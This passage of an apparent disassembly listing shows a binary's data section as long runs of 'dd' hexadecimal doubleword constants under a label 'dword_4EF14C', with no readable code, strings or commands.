0F7E90587h dd 715B99EEh, 700DF600h, 5E096D7Bh, 8DECBF1h, 2775CDE9h dd 0E27DB2A2h, 1CDF574Ah, 0E9400B03h, 43C9AAF0h, 5900DE08h dd 3A3D7F05h, 8E853B81h, 0FE778AC6h, 394BB0C0h, 92F3EA70h dd 0BDD2F244h, 0CB689998h, 0EBF3BFh, 0C0DCF68Bh, 0F89703E4h dd 0C2E90A2Ch, 50FC010Bh, 0A097A0E3h, 0A4799D18h, 2CCF9631h dd 0A1183AC4h, 4AC2020h, 0BE2D327Ch, 63157E4Eh, 104C81B7h dd 0DBBBB57Fh, 86525B2Ah, 693F7708h, 0D4383CF8h, 29EB4AB2h dd 85D5F83Ch, 288182A8h, 0B551E801h, 0D8E580BFh, 0BC04B13Bh dd 2EF1191Eh, 0CAC00506h, 8148B759h, 0D30B8857h, 0B07654E9h dd 0BD1A9076h, 0BC38D125h, 4784849Fh, 21902590h, 10A5EFBh dd 5C56916Fh, 0E45FCD27h, 0F64E99E9h, 97E11348h, 72CF08E5h dd 3326BA00h, 60520131h, 13577481h, 50CA2B98h, 0D22507F6h dd 9D332B9h, 37EA7651h, 9FE19E75h, 0E3A8DC1Ch, 7F938587h dd 0E81F0C34h, 29DD9A49h, 5A627CC1h, 354DF2A0h, 61E968AFh dd 2F46D4FDh, 7C2545Ch, 6EDC145h, 6D3FCDC0h, 24506E65h dd 0AE921022h, 8F08AC76h, 200F1DA3h, 92D2298h, 89685BB9h dd 2E99EDCCh, 28E1E554h, 6087276Ah, 95F77EFBh, 0FB2AD7F2h dd 0B12AC966h, 0A7A06F31h, 0BE80EB21h, 452C1EE0h, 269D8B66h dd 0D70009F8h, 3A7BBA52h, 71815461h, 0AB3B03F2h, 42D2F70Ah dd 0BA160660h, 0BF6D455Fh, 0E905EE42h, 0E847D236h, 277350E8h dd 0B167413Ch, 10B2A0EBh, 58372723h, 134CD48Ch, 3A0002BCh dd 0BF3C5C04h, 95071E8Dh, 2E93E930h, 72C57F09h, 688BEA1Dh dd 0BC865861h, 87CE2B4h, 7E6C101h, 7D7F9530h, 31392517h dd 4461EA8Eh, 0D8D0EEE4h, 7A0702EFh, 0F70151EDh, 802C7E5h dd 464B67E9h, 584D95BFh, 2F824912h, 8160E55Dh, 0EA6ED5B8h dd 5BF36A70h, 0F06BA92h, 810ECAC6h, 142E59EFh, 0E75B57FFh dd 0DC4A7FBEh, 0A95B14B8h, 7EF8E413h, 8DFC4C04h, 5FFAC60h dd 1646CA05h, 0A22D55F0h, 0DE096007h, 415C81E8h, 0C40FAF81h dd 0FB5801EEh, 622F2660h, 5B6FA940h, 4CFD9036h, 0F384D942h dd 60CD17C3h, 455BB9A0h, 0EDF23F81h, 2EA7ED4Fh, 0A6E0B49Dh dd 48657D5Bh, 0FB079F45h, 6764E342h, 0FFAF6FF5h, 0A9D95EB0h dd 0FBE0C62Eh, 4F4161B0h, 8C24AC3Fh, 4ABD8141h, 0AF9E3502h dd 0F32F782Dh, 392534A5h, 0B02CE2D9h, 721465D4h, 280ED812h dd 4CC968C3h, 9588D179h, 2B8A3E19h, 0C9EE578h, 3D15FE5Ch dd 48ED2116h, 0B775D4B2h, 7247B609h, 0E11908A4h, 5870C3C3h dd 2D508186h, 0E2A725A8h, 0A639DF43h, 0C5AD3F1Ch, 0FC1FFE93h dd 6687254Ch, 4A7A02C2h, 0ECE97511h, 0E650DAF2h, 21721B6h dd 58406013h, 0B0726CE9h, 953DE2Ah, 815B4874h, 8EA1ACB4h dd 0D4A1A32Dh, 4B117339h, 49152AADh, 6185A304h, 0E462BADEh dd 0EDDFEA94h, 0EA03BFD6h, 74F01EBAh, 4254DE06h, 9180FE2h dd 62F49CBh, 8831F52h, 0F2141C45h, 1AE92081h, 73CD4816h dd 64D67E1Eh, 17437BCDh, 6E130C80h, 0C889500Eh, 5902C1B7h dd 0E9B7287Bh, 3BDB6B55h, 0DC843FC2h, 93512DC4h, 3EBA5569h dd 0A5B51C4Ch, 5BF90D77h, 965DF85Bh, 4572EABh, 1346AE9h dd 0CB904BBDh, 0DB71D327h, 0E26DDC43h, 7281896Bh, 0EFC12840h dd 3E3CE69Bh, 1AD2F546h, 3B6D015Eh, 7C4EA472h, 2D0741D1h dd 2BCC106Eh, 2ED0E7Eh, 89490484h, 4AACF08h, 84171F52h dd 7D5A1FBh, 9207D408h, 0C34159BCh, 0B4036A55h, 73EA0958h dd 0F2FD023Ch, 0D0218FBCh dd 9F951657h, 102414D6h, 0F8405016h, 956B3B05h, 0FF08BD51h dd 532607h, 1DC33F75h, 0CB1E8143h, 4CC431B9h, 0D5ACEBC1h dd 682ABA04h, 5BB0C296h, 0F344B6F6h, 0F2304F8Dh, 6A5B81A9h dd 79FDEF70h, 0E97F1F5Ch, 0B2011226h, 89FA2D22h, 630DD184h dd 0D69A5EF2h, 5FF8B277h, 189E965h, 499677F0h, 0A056E910h dd 96775C25h, 0F1490D8h, 72441790h, 4BA3E280h, 63B70BF6h dd 0F7CAC84Fh, 4D2D027Bh, 524CE950h, 57FE4372h, 1BBF6609h dd 15C0DF38h, 0D7810E0Fh, 81FC5AF5h, 0DCD31CFh, 0FD2F840Bh dd 0F70E8C4Fh, 67F82D5Eh, 0E1C8085Fh, 161B02Dh, 216E0F2Bh dd 8963F712h, 701687D1h, 1A202F86h, 151CAE73h, 39CFD925h dd 21313F8Bh, 6702C778h, 0D147D858h, 4BC4EEAh, 39B7410h dd 0ACEB8531h, 8F2F5166h, 4B685E4Ch, 0E3FB304Ah, 9BC97A1Bh dd 7CBB07BFh, 0AFD25E03h, 2E39800h, 94B0E94Bh, 46702FAFh dd 44081F03h, 4F1BBA31h, 447EFC0Bh, 7C5968F2h, 17B84A29h dd 0F5CCEAE5h, 0B7C926E9h, 1D1832Dh, 0E6003AB1h, 31633F36h dd 140FBF57h, 0B61C3767h, 0A60ADB07h, 8D8D908h, 0B080EB20h dd 5F8DEEE4h, 5B92D1E0h, 3CEE6DE2h, 45BA927Dh, 17AC208h dd 39B326B4h, 0C6B03B30h, 959A4F88h, 5F2920B1h, 0F49DFE01h dd 2F55248h, 0AEB52F61h, 0F84DC4AEh, 3E10FAF3h, 39C44BA7h dd 0E9C394ADh, 0A9841B7Fh, 0E60BDFC5h, 0EA2326FCh, 0F704A10h dd 37A0531h, 99CECF85h, 0B35F689Fh, 0CFFAB5EFh, 3DEF4B94h dd 0CA76147Ah, 0A2285A08h, 0F8EB4E28h, 1114E5BEh, 4BF10E7Dh dd 3C066181h, 0C9D82303h, 0A04617C8h, 82FE0011h, 29DE658Ch dd 0CA01F14Bh, 7FCF52F2h, 0B495A02Fh, 6805BD96h, 0FA33D5Ah dd 0A2EA4517h, 0D9522F1Ah, 0CF5A1F1Dh, 0C8B31C67h, 7649FD4h dd 0DCAE2938h, 0E441FCC9h, 262ABC2Ah, 0B980623Bh, 1B7D05FEh dd 75F0F787h, 0C652DD2Ah, 8D1F7CDh, 59182BB1h, 64478F8Dh dd 0B8628A40h, 5E7EC5DEh, 5ABB5E40h, 9535205Fh, 1B895BE5h dd 7A4DF648h, 24A72076h, 55F81EF0h, 0C8689509h, 15C2AF54h dd 8437673h, 0D225BE46h, 0CED20AFh, 5015A0BDh, 8459BC4Ah dd 0C91D2F9h, 0FBB22B5Dh, 0FAA5E9C4h, 31BBB700h, 260232Ah dd 3985E381h, 0ADF01EBh, 1F01DE4Dh, 973216Ch, 4F85B82Eh dd 0F3A0C5E2h, 65026C3Bh, 5B5E5377h, 7597701h, 0C80E8562h dd 0B6B68AFh, 5F228649h, 4705F700h, 40B5C783h, 2DAE0E7Bh dd 475099E8h, 0C0098398h, 5F190F41h, 40893A8h, 0BDBC25E9h dd 50091633h, 8AF96034h, 68A98097h, 9DB16E26h, 0A0026BA8h dd 0C132CF3Ah, 0F6A880EEh, 3F8FDA35h, 0CB2AE94Eh, 26779E17h dd 0A707BB63h, 7C55D63Bh, 260D971Ch, 0A05B3157h, 0BA5D0700h dd 1D0212F5h, 0C7C701CEh, 2A6A0653h, 84086BCh, 7F8A15Bh dd 0B6057E60h, 943C024Eh, 11090F45h, 37340CBEh, 18D672F7h dd 38BD55DEh, 109E2239h, 67C885B9h, 0E9F64F73h, 4E1B810h dd 0C25E92BDh, 8990DB85h, 272617C1h, 3DE00D48h, 88806B6Ah dd 3E5873C7h, 0E6CA877Ch, 0E50F68DBh, 46057109h, 0AE1D3044h dd 0F544DB69h, 9FBE2A02h, 60542EC0h, 0F18C51Ah, 0EE01793Dh dd 0BD08A81Ch, 52D6ED68h, 5FFD51C1h, 0A36BEE31h, 0DDE9128Fh dd 0EC80EE47h, 52B205DFh, 49DE2FFCh, 0CBDCC4DAh, 223AC381h dd 53F0138Ah, 9AC895A8h, 491962F2h, 0CF184BC6h, 2FEEAC05h dd 6961F95Eh, 5DC3EADDh, 304CBD63h, 96417E50h, 0BBF5A400h dd 96EA62F9h, 98F7F010h, 9FFEAC21h, 6F30DDC7h, 0B617A4E9h dd 95F2656Ch, 83490057h, 1414936h, 0C827F57Dh, 9E5E4614h dd 0B618C2D8h, 0E3AA8309h, 0CD451C15h, 6B7D0A3Fh, 171C1890h dd 6E0B18EFh, 22893B0Ah, 31E7CD0h, 0E5BAF021h, 7F209C5Ch dd 0F5DC5F2h, 17BF1283h, 1B1788A3h, 0F329AFF5h, 1DE480F0h dd 93C4FEB5h, 0ACA48551h, 506655Bh, 52153980h, 0D7034E76h dd 0BF58D530h, 0F35E288Bh, 0A9982A77h, 842C5276h, 0FFCBCF4Dh dd 0CE989223h, 0F9A93150h, 5E310516h, 53481B0h, 26E929ABh dd 0F143F81Eh, 6E2C3BC3h, 0A14C31D5h, 14AE9B0h, 0D84508BDh dd 0A0533F02h, 8BADC036h, 3CF7325Dh, 5A011BFEh, 0F941DD88h dd 0A1490116h, 582F24h, 0B0A1F835h, 2D4FE9D5h, 38AD3FE1h dd 2334D390h, 0A4A9A83Ah, 68A9B5AAh, 4A791287h, 0D2DE4DFDh dd 0EBEFC423h, 0D6DBD091h, 9FE58100h, 9ED05B24h, 7B74F502h dd 2141FF68h, 0C5FC5026h, 2BED2B53h, 4E0B16E4h, 60641F5h dd 0EF49326Fh, 0AF3D94A4h, 680CBC42h, 0D1F3E17Bh, 1EF2F89h dd 0EB0198F9h, 47BA0A63h, 6EED9A40h, 4485EDBh, 9CC5589h dd 1F346546h, 6415D268h, 0CDEA1844h, 1913DFEAh, 0B84A1032h dd 0E90B08C2h, 663CE1FDh, 4B75996Ah, 52461E3Ah, 0BAC7629Ch dd 21110B18h, 6F682BE9h, 122AB61Ch, 6B8CFAF0h, 13539577h dd 5571C30Ch, 5E43EECAh, 2AD6F3F9h, 0C1FAF372h, 9E164ED2h dd 0E8325AE2h, 0ED742218h, 9A826635h, 0EC90D09Dh, 67D89D89h dd 0ED815E9Ch, 0C9C8ACC4h, 7375043Eh, 0C7CBABDDh, 117EA84Fh dd 1C3F5BBEh, 92B3ECCBh, 9F4A8EF2h, 0F1E908A0h, 2581298h dd 8189EADh, 5D8D1E0h, 9F0957F2h, 54C329A6h, 0ECABC49Ch dd 0B7E25F57h, 0F6CC2Dh, 50E0243Fh, 2069BD80h, 0C14D6648h dd 478059DAh, 730378DCh, 0C2EF0F90h, 7C4AA454h, 5B383A4Ah dd 0DEC28D80h, 0B60D1232h, 0E991FE31h, 903A099Ah, 1B59C539h dd 511D155Ch, 0C08061Ch, 0B4054704h, 65F45E34h, 0A3434FA5h dd 20A64F73h, 41C0CA10h, 698FD145h, 137FD463h, 0B00E28C6h dd 0CD84F3E9h, 9F02E1C3h, 43061ABFh, 6580B08Eh, 0E94A0C47h dd 5B4AC52Eh, 3A3D7499h, 513C63CBh, 8BBBC458h, 90BC2C73h dd 7D56BB80h, 953154D6h, 0CF3CD5D0h, 0C28DAEEEh, 57E90882h dd 529BDF37h, 78011AB9h, 0E66884B3h, 3ED6CDBFh, 25680F9Ch dd 2F927FBh, 0BA696A7h, 674259C2h, 7F4D7D11h, 52EE7AD0h dd 31D3D2Fh, 0B85F86A7h, 95E1C172h, 0AF524442h, 0B7C1294Bh dd 9A7FEF65h, 0B8E93820h, 0A9E34A05h, 0CFC8A4Bh, 0C9F2F4E9h dd 282B540Bh, 0F71FF266h, 56B21E40h, 0B12A7FE9h, 0D5EB17FEh dd 0BA818251h, 0BCEA00Bh, 2F3B997Ah, 0EA515C01h, 14800CA0h dd 0B3721C2Eh, 2A015B4Ah, 170D6491h, 0BC43D30h, 291A0B7Ch dd 2505E34Bh, 34E27088h, 65BCDAFh, 1D830F0Ah, 3294641h dd 6A1CB41h, 32C30863h, 54AA902Ah, 55194533h, 0A3E91C01h dd 8635BF25h, 9BDCF7Bh, 0B1F596E9h, 932446D3h, 16ACBF6h dd 0FA89467Eh, 0C3D35CC4h, 451037C1h, 3C4CD89Ch, 3EA2F7Bh dd 0DE6ECB7Ch, 437C8342h, 0DCA055D4h, 0D06A85C3h, 1D0A324Bh dd 4C2908EBh, 834723C0h, 0F938C74Bh, 3467A65Ah, 9E04C907h dd 1C6D011Eh, 821C0806h, 103ED914h, 4350046h, 19EABDCh dd 0ECD395C2h, 39F97643h, 0B8545BF1h, 1D393F02h, 0F9CBBA13h dd 7DBC10CDh, 558B0500h, 0C521BDFDh, 0FF417C90h, 79F6B060h dd 0FA7025DCh, 0A0A92BDDh, 170CBDB3h, 0C25D5E66h, 6F54560Fh dd 3029DD49h, 208D4CD7h, 8927D2D0h, 1A50FDh, 0A2BF575Fh dd 310B1D37h, 0E5E9FB13h, 0FB2A5C5h, 51E1E9B1h, 53C631FCh dd 0F6DB538Bh, 42B9EB05h, 0ED009C7Eh, 4B63F0C9h, 0BDFB924Eh dd 0AB1C4868h, 29F48D04h, 90FFE9CFh, 1DACBD29h, 14B0C677h dd 88B5D33Ch, 2DEA290Dh, 0CE3C897Eh, 91B949C0h, 667E0F1Bh dd 0F8D3F741h, 6790503Fh dword_4EF14C dd 16A33C1Eh, 73E02413h, 0C873B75Bh, 0D86E08h, 18685357h dd 7F4CA61Ah, 5EF83541h, 2FD5DDFFh, 0AA176EF9h, 8E819D5Eh dd 10DB233Ah, 0F98B6469h, 0CC0C555h, 59263077h, 65A3D695h dd 3580D09Bh, 0B2D49B1h, 3030DC2Fh, 793D0ED0h, 5A0440BDh dd 3FF602Dh, 0F2A8BD05h, 0F906435Fh, 4D7F387h, 2572C0BFh dd 56C0B02Fh, 7FA3BE04h, 0B0AF6C2Dh, 0A4041A29h, 0F531C1B2h dd 4FFD8ABFh, 0C0A747E3h, 455682F5h, 461C7D4Eh, 222D329Dh dd 56C338D2h, 1EFD6BF2h, 2A969FCEh, 0C2E255B1h, 80BF00A2h dd 7B00E103h, 5EE7814Fh, 2D26FF34h, 0E009B4E9h, 334C9E75h dd 4D4595E9h, 1C09C28Eh, 210B6D54h, 206B3BB3h, 0A2C6BB24h dd 0EBBB8F08h, 64CAF102h, 6DCDF10Ah, 12C8D48Eh, 92E02E7Fh dd 1FF90CCAh, 0F2115D62h, 0D92A5518h, 5B1C278h, 0E9D63BB5h dd 3A2A8C3h, 3A5DA3BAh, 7C4CD178h, 14B6F780h, 0A8BB0B97h dd 26BD5E12h, 0E95FE202h, 489B5022h, 5687CC89h, 0D35CC354h dd 6EB1181Dh, 0F7F010D2h, 3AB77953h, 0B3A5CEB6h, 81AD6B61h dd 59C8211Ah, 0DEE9C009h, 88A8053Bh, 2684BFFCh, 0F9592CEEh dd 5E69209Eh, 0C986C939h, 0E35A99D5h, 8D3FCEA1h, 3B1301EBh dd 79CA7B18h, 136A3500h, 0D8F7253Dh, 734AC9B6h, 0FA4B651Ch dd 0F803E22Ch, 765074ACh, 0C9C376D0h, 0DBDBAD54h, 71EF6693h dd 812BB92Ah, 221FC727h, 0EF701813h, 9B7B3FA4h, 1C68013Bh dd 10982408h, 14B21C4Bh, 8006542Ch, 5B0657EBh, 7579ADF6h dd 17B2521Fh, 9340C28Ah, 96ACF82Dh, 13A6EF41h, 2D601A67h dd 5F581646h, 0E2C74A01h, 0D4BAC6A0h, 3F300AFh, 50096530h dd 4A138FB8h, 0C5091FE2h, 2622D5DEh, 0C7FFFE3Ah, 98BF0756h dd 0E92DB01Fh, 55C05A0Eh, 0E57693C2h, 0A070B46Ch, 8882B408h dd 0F42531D9h, 0E3C107C7h, 0AA28B406h, 0D4B8E809h, 14CAE08Ch dd 1785BCBh, 54E2C289h, 17EE9ECAh, 296EF079h, 8043F24Dh dd 7F4C382Dh, 68E91302h, 0E82A5379h, 2CAAF4B1h, 9F73051Fh dd 877ADC3Ah, 10EB6BE5h, 0A643E7A1h, 2D17B03Ah, 0C94007A2h dd 50133426h, 9D83455Fh, 0C052F251h, 3F96E47h, 7305FC27h dd 29A00D02h, 0B90051E8h, 7BC84ECDh, 17A8E181h, 815AF3Ah dd 522F290Ah, 6009F21Ch, 0CFC5A9DCh, 4B306777h, 44CD0E5Ah dd 0ED0CC026h, 0DFB6CE39h, 0A7E0315Eh, 0FEC59FCBh, 71B17E89h dd 7BF18897h, 0E16A5569h, 0B5F20344h, 71B9099Fh, 0C84C958Fh dd 7FE3710h, 0FDC6805Ch, 8541EE33h, 680DCE06h, 0A650B5C9h dd 34C2570Ch, 18CAAC05h, 0C13C44Eh, 0A62061B2h, 702B0342h dd 0DD0138A2h, 5308E040h, 230ABB06h, 165034D7h, 289AC1E9h dd 0DEB5512Fh, 0D2C2FA19h, 6F953D58h, 0CBCACA4h, 0EB49D555h dd 9DBB7A0Bh, 6C2BFCF4h, 8266B18h, 0D91FFB6Eh, 51123F29h dd 96899FBh, 7602C5B3h, 0BA726006h, 7F7742B0h, 0C1984A7Eh dd 0E584BE32h, 0C62520C1h, 4048EB09h, 7FE8572Dh, 0CA2535EAh dd 98C2F83Bh, 606DB9D1h, 4B3F4A55h, 24EAE927h, 6DFA0C97h dd 0A4142BA7h, 96905248h, 95333F71h, 34E12381h, 6F70D67Ah dd 2D50C7F0h, 9BE04094h, 1CB6B7E9h, 97A2502Fh, 5CC41E71h dd 0C7103FBDh, 63F5854h, 39556B1Ah, 6EFE1778h, 5D0B82F8h dd 1A32D085h, 3073D4BCh, 68C1342Ch, 0F395F19h, 4A508BA5h dd 0FE3245EBh, 833CAA15h, 80F55BE9h, 686650FAh, 2169E52Fh dd 88E6B343h, 0E948DC3Bh, 0B7C96F24h, 7B53096Bh, 25B0A3A1h dd 59A4B820h, 1786A07h, 0C68CC96h, 967E5D14h, 20106EB3h dd 6BEC14Fh, 0A06A1656h, 7D7C75C6h, 95E96D4Eh, 0E8285079h dd 9F3B834h, 0C9B4E2A6h, 20C83300h, 0E92D11D7h, 46BE34Ah dd 0B91C4C2Eh, 0B798EB6Dh, 3D6FF156h, 0EEED3FEFh, 5255FB65h dd 0AF8AC16h, 0C530C5E9h, 0D1F7CA83h, 92DA731h, 0BDDA81FCh dd 3EFBDC68h, 6841ED09h, 4C467DB5h, 3A749604h, 89F25311h dd 53DB896h, 36CB6D70h, 73667F80h, 2D01040Dh, 0AC1277A1h dd 13450489h, 5201043Ch, 7875423Bh, 5C2D0250h, 0C2E41034h dd 0AA16C0B4h, 265F8154h, 0E810C6F9h, 0CE8013BAh, 19401D9h dd 7050D6F6h, 6CBC4223h, 64FA3A89h, 0EDE841BBh, 73096B49h dd 7E24504Ah, 0F4D35E20h, 0ABBFDEABh, 729302E0h, 0D48307FFh dd 0CFF3AA04h, 0BC39929Fh, 0EFE2D20Ch, 5AD021C2h, 9DDDE4FDh dd 0D8A024D3h, 0EC7A9B2Dh, 7967B788h, 0DB1203A4h, 2F68E98Ch dd 5ED61342h, 0C22DF452h, 0BA184377h, 4F4E044Bh, 0BFDAF76Fh dd 0F162C199h, 99DFC44Eh, 2BA635AEh, 4737018Eh, 97EEC051h dd 63252765h, 80D4F801h, 493DE908h, 442F62E1h, 4CBE2AD8h dd 750C98C2h, 6818F11Ch, 393D4503h, 9098B29Ch, 0B51C7018h dd 53E0AFDEh, 0C09207E9h, 9AA5BA0Ch, 5590B67Ah, 6C5C6909h dd 11005565h, 43A6125Fh, 0B5C06095h, 3E84905Dh, 0C7022F2Dh dd 0EE11E9DCh, 674E2C44h, 0BD4B99ECh, 718B92CAh, 49A05625h dd 7A901F7h, 0FE29E205h, 9CA43C8Bh, 43BA0352h, 0E937BE20h dd 145787B2h, 0B6585AEEh, 8A0C6CE2h, 3F7CBE74h, 0C8285801h dd 0F22AB353h, 465EF2C3h, 0F95A5ECBh, 0DE4AD314h, 3210A957h dd 892EB47Dh, 12561D17h, 4E9CDFEBh, 68040799h, 35A85F90h dd 0A800E8B6h, 8174E02Ch, 7275CAh, 68503BDEh, 6A1C3FB7h dd 43CEE915h, 257D5829h, 5F9C46C9h, 4F53E75Ch, 0A80884C1h dd 54CC6800h, 23D81897h, 0F267B588h, 24E74088h, 0DFD90564h dd 1F971320h, 407A928Ch, 2348BB53h, 0BFB96C87h, 0A94FD802h dd 9459E064h, 0A0F4332Bh, 2E81F80Ch, 55022057h, 0B1D1F05h dd 0AFB85CE9h, 16F7B869h, 0EF772476h, 3088E2E5h, 45EC6190h dd 0A43B5381h, 13BDE798h, 0F76EDF44h, 0E12E32F1h, 76A63ED0h dd 3C9C8C4h, 0C16DF180h, 997A9066h, 60472154h, 7C5A7308h dd 0C661558Bh, 7B5FE068h, 4F2FE2E6h, 8BFE148Bh, 0B5629054h dd 0E1094238h, 66456BB6h, 0ADEE82FFh, 0E97860F5h, 67E1E678h dd 8E430620h, 0F853B64Ch, 42880505h, 0CBFF22E6h, 834F1C7Fh dd 0B1AD525h, 11F9802h, 0E0EBB298h, 0B424189Dh, 1DD13C5Ah dd 9775CB2Dh, 225DADB1h, 70079D87h, 0B049227Fh, 0B5E5C102h dd 77213D80h, 0E984E3D1h, 32AEF8D8h, 808153D0h, 48CF8848h dd 0F71F8015h, 0FE1F521Eh, 25E9F584h, 0EF4BEAA8h, 1011E132h dd 0A5CA848Dh, 0CC653AEFh, 0EB1116AEh, 680A362Eh, 8AAA70B9h dd 63D74B51h, 98F956B0h, 0F60A5278h, 43A2B48Bh, 0BB009EF3h dd 4B014C0Ah, 0C311C47Eh, 3707AFB1h, 0EF835AD7h, 0A31F0FF9h dd 0B1217605h, 0C1C03ECFh, 80FCF936h, 6B3271Ah, 3F17AAF8h dd 49940DB2h, 5E5F0801h, 0BC3EC383h, 6C0BA52Dh, 0F724D5E0h dd 525D05C8h, 0D274A2AAh, 5B88CFABh, 1910F0CBh, 1224582Dh dd 1CCDFCC4h, 7F889E41h, 3FDDF16Eh, 0FF561A87h, 0CDC89F03h dd 7D6125C5h, 0D961F5E1h, 0A02E9A61h, 0D640C621h, 5BD82E31h dd 0BE68C120h, 7DCD515Eh, 0B8E7B90h, 219B325Fh, 8A3948F7h dd 0E0F9A43Ch, 172C2507h, 94244BD8h, 0E293910Ah, 9439CAEEh dd 28A61211h, 97F4EB8Ch, 3DB9CB61h, 6608C248h, 0F99582BBh dd 2718C795h, 0E6553E42h, 6668132Ch, 0D2F8E853h, 0F2D67D1Fh dd 82C1B247h, 0EBDE03B3h, 0ECDE37C8h, 0FA4B04CEh, 0FE3D8091h dd 0D500D257h, 0F645ED80h, 0FC705B69h, 0C9E4E7D6h, 503CAACh dd 1B072DDBh, 1588189Bh, 70B7595Fh, 0C93B2004h, 5BF85B9Ah dd 0BD55F0FBh, 0BC65050Ch dd 955DACB9h, 5A0E2E89h, 0EEE0C2E5h, 505890CEh, 0A45A4805h dd 1F19BE38h, 67304007h, 840F80EEh, 0A38B202Fh, 33FF296Bh dd 9BB4E783h, 93C15D03h, 0D922D5C6h, 0EA74E410h, 5F5A4BD3h dd 910409D0h, 1EE8E6ABh, 0CAAC1FC2h, 80290144h, 0CB0BE281h dd 601B7F32h, 4A5073A0h, 4221607Ch, 27203D0Eh, 0A2094E31h dd 50E9C51Bh, 484CEDF8h, 41732D3Ch, 61F13EA9h, 0EAF5DAC1h dd 75DFC2D6h, 4A38D895h, 6CAD52E5h, 7D5A245Eh, 7065C4E1h dd 0C000D095h, 0CBFE02E3h, 0BF3C2068h, 86DC4498h, 6A40CC58h dd 29813CA6h, 164568F0h, 0BA19D066h, 0DCDE119Fh, 0C1915D1Ah dd 22AD97BFh, 0FC5E6AA2h, 3BD7B123h, 5D05F80h, 62DF7AF7h dd 2AEEC2D2h, 2D5C0E7Dh, 74A00551h, 0C45E518Bh, 5E12FE1Ah dd 813F25FBh, 0E5F1F6h, 0FE04A4B0h, 22229751h, 1455D68Fh dd 8118B6B2h, 0EB8016B5h, 0EB9DC36Eh, 0D6BCCE13h, 0E941B104h dd 4874B88Bh, 0F5E784FDh, 521B21FFh, 0E280E4B2h, 0D4F12A50h dd 406C076h, 4B876866h, 0CFD04D7Eh, 0EEC53613h, 5E2E7F33h dd 0D1E2C111h, 64D9E9E5h, 0C03FFE44h, 8C04802Ch, 0F643B753h dd 58E7F4D7h, 0DC259907h, 898E89FFh, 4D04D7CAh, 12541096h dd 92E7D4BFh, 3379AA4Fh, 9A84E039h, 8042EC0Ah, 616532B8h dd 0D8F7125Fh, 0C8E15040h, 0A4573602h, 61FF0905h, 0C2B53CEh dd 35E96474h, 0C348934Ah, 0E29080Ch, 5F5E5009h, 0E98468CDh dd 20AEA403h, 5D9D68B9h, 170FA1C4h, 0EBCB9516h, 80EF4D12h dd 8F6FEDA4h, 0D6F60A76h, 12F9361Fh, 9C7843Dh, 98F84293h dd 4B228868h, 0AB18D3A2h, 0F17381DEh, 0E36FEBB2h, 38AED73Ch dd 0F1415DF3h, 0BF3A664h, 0A7AFBC52h, 9CE97D21h, 84633880h dd 4AACA88h, 12256B8Ch, 0AD108E1Fh, 0FC2D503Eh, 68595540h dd 0DB5FD92Fh, 0DF4C4981h, 0A0EA830h, 3932CABEh, 0BF076EBBh dd 0F3A160C7h, 1E0B07AEh, 0D5874Ah, 5B4939D8h, 0B8F3A36Eh dd 2D174440h, 2258D2F7h, 2E2AB604h, 90201BCh, 5FC15DE8h dd 5E4697D9h, 0D7D0FAACh, 0C671212Fh, 80DBA042h, 780BBF8Dh dd 0E00E6630h, 57138B83h, 48A15F53h, 0F6E28321h, 1FC31822h dd 6C19D5BFh, 3CE86007h, 2C0CE5E4h, 25F7F929h, 80DFFE09h dd 6D35F6FCh, 4E7D308Ch, 0A13C110Eh, 7F0C1460h, 951FF568h dd 0B1BD4878h, 0F57F0229h, 9D9206Bh, 0D533C22Eh, 0F4176104h dd 0DEDB8682h, 421A4CAFh, 848CBF01h, 6E9DD29h, 5387A0E2h dd 0F43C4FBBh, 8B32DF52h, 0F8465611h, 5D6FDFBCh, 0CBC12AE7h dd 4C16A102h, 0C6AED779h, 0A4143561h, 480E6F4Eh, 31060510h dd 2FE9C503h, 0C2B738FDh, 758D768Bh, 5C0352D8h, 10CBD05h dd 81E40CAh, 94BE0956h, 45F6BB2Ah, 0CE01D82Ch, 5B12457Bh dd 0CAC00947h, 0BAF36801h, 5C8FA266h, 57D3705Eh, 15D4BB80h dd 95644E3Fh, 7067FC7Ch, 88A999BFh, 42171130h, 0FB6A41EAh dd 689C2983h, 0DF011362h, 552F768Ah, 0EF4FAFE6h, 0ABEDB962h dd 0EE1C5DFFh, 687C449Ah, 2D80553Eh, 2F3C5058h, 0AF9244C6h dd 5FBCC7Fh, 902237F1h, 864FC1F2h, 0D86800EBh, 0A62DB918h dd 6CDBA53Ah, 8BFF5E64h, 3AAF1389h, 0BBD3A3E3h, 16D945Fh dd 476B68E5h, 0E129B451h, 1AEFA72Fh, 0DD0ADEDDh, 539227C7h dd 1D289D00h, 69BB7E22h, 0F8520B2Ch, 60C78720h, 311A281h dd 58007399h, 0D685552h, 0B80FD137h, 0E4E937FEh, 58E3026Dh dd 60053FE1h, 0F650A7A2h, 2E603CF6h, 0B850DDFFh, 0D51E3D8Bh dd 16826EFDh, 13DBF17h, 0AD8DAC6Eh, 7D6EF82Eh, 5BDD20A0h dd 3F6C80F3h, 0D52FB7Fh, 837805F5h, 9439E918h, 0DFCD076Ah dd 83033410h, 4B819C5Dh, 9EFE997Ch, 0A07EEEB3h, 778A31FEh dd 1A3E7882h, 168A84F9h, 3443089Ch, 0AF414ADFh, 0DDE43045h dd 17DE29B4h, 0AC77D523h, 81B4276Ah, 575647E6h, 0E82B0A21h dd 0D38B996h, 61D6F7A1h, 7A84357Fh, 128065A0h, 11B6F3h dd 0FF6A1697h, 5130E92Eh, 3BBA3269h, 6C5E0737h, 345AD129h dd 0A90E87C1h, 51330C00h, 79EEFEB9h, 0E1091F98h, 73E489Ah dd 0E980D9D4h, 1966C8ACh, 56CF318Bh, 0EBAF8137h, 0BCD49FA6h dd 4BD7B93Eh, 0E9826CE2h, 0A109C862h, 0FE211228h, 0D02A89C5h dd 380E9DBh, 0D7F7D8A0h, 5640971Eh, 79D025BEh, 7C854F97h dd 99B320D4h, 2C60701Bh, 0A16F380Ch, 5FE97A6Ah, 1D0630AEh dd 304C837Bh, 7CE22F4h, 8BD354C3h, 0AF79B4D1h, 1F2CF712h dd 372809BAh, 897D435Ah, 0C96BB8B1h, 81FC82F9h, 0A75A652Dh dd 138F3A80h, 0E6A8279Fh, 7B400DE9h, 3C899D5Fh, 8D5B81C2h dd 0B60D9603h, 0B3205C7Eh, 8AAF5B5Eh, 0AE03073Ch, 0D21A38C2h dd 937FC0Ah, 3DF3769h, 0B9CFC68Fh, 942F1F4Eh, 0D90814A3h dd 3EE6012Dh, 485CF522h, 0D79E4E2Ch, 0D43EB1ABh, 0ECCBBFCBh dd 0C1657D5Ah, 5F54EB30h, 4B189855h, 0AA60843Ah, 87C555A6h dd 0E91F431Ch, 1E51F126h, 0E8812B50h, 5902E491h, 409F1A75h dd 97FA845Fh, 